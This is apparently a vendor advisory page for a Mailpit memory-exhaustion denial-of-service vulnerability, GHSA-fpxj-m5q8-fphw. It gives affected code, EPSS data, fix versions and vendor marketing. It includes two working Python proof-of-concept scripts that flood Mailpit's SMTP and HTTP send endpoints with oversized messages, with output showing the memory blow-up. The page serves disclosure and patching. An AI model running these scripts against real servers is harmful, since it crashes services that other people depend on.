Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

GHSA-fpxj-m5q8-fphw

HIGH

GHSA-fpxj-m5q8-fphw is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in github.com/axllent/mailpit. O3 Security confirms whether GHSA-fpxj-m5q8-fphw is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Mailpit: Unauthenticated remote memory-exhaustion DoS via unlimited SMTP DATA and /api/v1/send body sizes

Also known asCVE-2026-45713GO-2026-5376
Published
May 19, 2026
Updated
Jun 25, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 15, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-fpxj-m5q8-fphw.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs32th percentile — riskier than 32% of all scored CVEsHighest risk
0.00%0.30%0.59%0.89%0.4%0.4%Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-fpxj-m5q8-fphw plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 361,182 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/axllent/mailpit

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The Mailpit SMTP server has a Server.MaxSize int field that controls the maximum allowed DATA payload size, but the field is never assigned anywhere outside test code, leaving it at Go's zero value (0 ⇒ "no limit"). The same applies to the HTTP /api/v1/send endpoint, whose request body is decoded with json.NewDecoder(r.Body) and no http.MaxBytesReader. Because Mailpit's default listeners bind [::]:1025 (SMTP) and [::]:8025 (HTTP), with no authentication required on either, a single network-reachable attacker can push an arbitrarily large message into Mailpit and watch RAM consumption spike with a ~7-10× amplification factor (raw frame → enmime envelope tree → search-text index → zstd-encoded write to SQLite). Repeating the attack — or running it concurrently from multiple connections — drives the process to OOM-kill.

Details

Pre-auth, remote DoS on every Mailpit deployment running the default configuration. Memory is the primary axis; disk is a secondary one, because each oversized message is also persisted to the SQLite store (config.MaxMessages caps the count at 500 but never the bytes — so 500 attacker-sized messages × 1 GiB each = ~500 GiB on the host disk before the LRU rotates).

Affected code internal/smtpd/smtpd.go:107 — the field exists:

type Server struct {
    ...
    MaxSize int // Maximum message size allowed, in bytes
    ...
}

internal/smtpd/smtpd.go:863-877 — the enforcement is gated on > 0:

for {
    ...
    line, err := s.br.ReadBytes('\n')
    if err != nil {
        return nil, err
    }
    if bytes.Equal(line, []byte(".\r\n")) {
        break
    }
    if line[0] == '.' {
        line = line[1:]
    }

    if s.srv.MaxSize > 0 {                                   // ← only when set
        if len(data)+len(line) > s.srv.MaxSize {
            _, _ = s.br.Discard(s.br.Buffered())
            return nil, maxSizeExceeded(s.srv.MaxSize)
        }
    }
    data = append(data, line...)                             // ← otherwise grows unbounded
}

internal/smtpd/main.go:223-248 — the field is never populated; grep -rn "MaxSize" cmd/ config/ returns zero hits. There is no --smtp-max-message-size CLI flag, no MP_SMTP_MAX_MESSAGE_SIZE env var.

server/apiv1/send.go:45-52 — HTTP path has the same defect:

decoder := json.NewDecoder(r.Body)
data := sendMessageParams{}
if err := decoder.Decode(&data.Body); err != nil {
    httpJSONError(w, err.Error())
    return
}

No r.Body = http.MaxBytesReader(w, r.Body, N) wrapper; server.ReadTimeout of 30 s is transmission-time, not body-size-budget.

PoC

Baseline RSS on a freshly-started binary: 25 MiB. After one 100 MiB SMTP DATA block: ~1 037 MiB (≈10× amplification, single connection, no auth):

#!/usr/bin/env python3
# poc-smtp-dos.py
import socket, sys
host, port = sys.argv[1], int(sys.argv[2])
mb         = int(sys.argv[3])  # message size, MiB

s = socket.create_connection((host, port), timeout=120)
def r(): return s.recv(4096).decode("latin-1", "replace").strip()
print(r())
for cmd in [b"HELO x\r\n",
            b"MAIL FROM:<[email protected]>\r\n",
            b"RCPT TO:<[email protected]>\r\n",
            b"DATA\r\n"]:
    s.sendall(cmd); print(r())
s.sendall(b"Subject: oversize\r\n\r\n")
chunk = b"X" * (1024 * 1024)
for _ in range(mb): s.sendall(chunk)
s.sendall(b"\r\n.\r\n")
print(r()); s.close()
$ python3 poc-smtp-dos.py 127.0.0.1 1025 100
220 hostname Mailpit ESMTP Service ready
250 hostname greets x
250 2.1.0 Ok
250 2.1.5 Ok
354 Start mail input; end with <CR><LF>.<CR><LF>
250 2.0.0 Ok: queued as 58rI69JTJYjVFwogEbw9Jj

$ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit)
1062848    # ≈ 1 037 MiB, up from 25 MiB baseline

Equivalent over HTTP:

# poc-http-dos.py
import socket, sys
host, port, mb = sys.argv[1], int(sys.argv[2]), int(sys.argv[3])
prefix = b'{"From":{"Email":"[email protected]"},"To":[{"Email":"[email protected]"}],"Subject":"big","Text":"'
suffix = b'"}'
N      = mb * 1024 * 1024
clen   = len(prefix) + N + len(suffix)

s = socket.create_connection((host, port), timeout=120)
s.sendall(
    b"POST /api/v1/send HTTP/1.1\r\n"
    b"Host: x\r\n"
    b"Content-Type: application/json\r\n"
    b"Content-Length: " + str(clen).encode() + b"\r\n"
    b"Connection: close\r\n\r\n")
s.sendall(prefix)
chunk = b"X" * (1024 * 1024)
for _ in range(mb): s.sendall(chunk)
s.sendall(suffix)
print(s.recv(500).decode("latin-1", "replace"))
$ python3 poc-http-dos.py 127.0.0.1 8025 200
HTTP/1.1 200 OK
...
$ ps -o rss= -p $(pgrep -f /usr/local/bin/mailpit)
2147000      # comfortably above 2 GiB on the same process

Five concurrent SMTP connections × 50 MiB each took the same machine from 25 MiB → 1 970 MiB during the attack window. With sufficient bandwidth the only ceiling is host RAM.

Impact

Unauthenticated remote attackers can send arbitrarily large emails via SMTP or HTTP, causing unbounded memory and disk growth, leading to out-of-memory (OOM) kills and full Mailpit process crash (DoS)

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/axllent/mailpitall versions1.30.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/axllent/mailpit. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/axllent/mailpit to 1.30.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fpxj-m5q8-fphw is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-fpxj-m5q8-fphw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-fpxj-m5q8-fphw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The Mailpit SMTP server has a Server.MaxSize int field that controls the maximum allowed DATA payload size, but the field is never assigned anywhere outside test code, leaving it at Go's zero value (0 ⇒ "no limit"). The same applies to the HTTP /api/v1/send endpoint, whose request body is decoded with json.NewDecoder(r.Body) and no http.MaxBytesReader. Because Mailpit's default listeners bind [::]:1025 (SMTP) and [::]:8025 (HTTP), with no authentication required on either, a single network-reachable attacker can push an arbitrarily large message into Mailpit and watch RAM consumpti
O3 Security · Impact-Aware SCA

Is GHSA-fpxj-m5q8-fphw in your dependencies?

O3 detects GHSA-fpxj-m5q8-fphw across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.